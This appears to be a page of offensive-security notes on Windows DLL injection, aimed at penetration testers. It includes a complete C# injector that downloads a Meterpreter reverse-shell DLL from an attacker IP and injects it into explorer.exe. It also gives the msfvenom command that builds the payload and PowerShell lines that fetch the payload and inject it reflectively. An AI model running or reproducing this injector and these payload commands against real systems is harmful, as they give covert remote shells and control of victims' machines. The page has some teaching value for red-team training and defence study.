DLL Injectors
Inject DLLs into remote process's virtual address space

Classic DLL Injection

C# Executable

A simple C# DLL injector to explain the basics:
  1. 1.
    Allocate space for the malicious DLL in remote process's virtual address space.
  2. 2.
    Write the DLL contents into the allocated space.
  3. 3.
    Locate the address of the LoadLibraryA function in kernel32.dll with GetModuleHandle and GetProcAddress. Most Windows native DLLs are allocated at the same base address, so the obtained address of LoadLibraryA will be the same for the remote process.
  4. 4.
    Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA address as the 4th argument of CreateRemoteThread and the name of the DLL to be loaded as the 5th argument.
All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.
DLLInjector.cs
using System;
using System.Net;
using System.Linq;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace DLLInjector
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
// Download the malicious DLL
String dirName = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
String dllName = dirName + "\\met.dll";
WebClient wc = new WebClient();
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f dll -o met.dll
wc.DownloadFile("http://10.10.13.37/met.dll", dllName);
// Get remote process handle
Process[] pList = Process.GetProcessesByName("explorer");
int processId = pList.First().Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
// Allocate space for the DLL name in remote process's virtual address space and write it
IntPtr dllAddress = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, dllAddress, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
// Locate base address of the LoadLibraryA function in kernel32.dll (this address will be the same for the remote process)
IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// Invoke LoadLibraryA function in the remote process supplying starting address of the malicious DLL in its (process's) address space
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddress, dllAddress, 0, IntPtr.Zero);
}
}
}
According to this template that MSF is using to generate a DLL, there's another injection technique (Thread Execution Hijacking) in the DLL code itself which is invoked upon DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process memory, but it rather forces new shellcode to be executed by rundll32.exe and the malicios process (meterpreter shell, etc.) gets the PID of rundll32.exe. It may also result in hanging the parent's process (explorer.exe in terms of this example) and crashing it when the shell dies.

Reflective DLL Injection

Invoke-ReflectivePEInjection

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f dll -o met.dll
PS > $bytes = (New-Object Net.WebClient).DownloadData("http://10.10.13.37/met.dll")
PS > Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId (Get-Process explorer).Id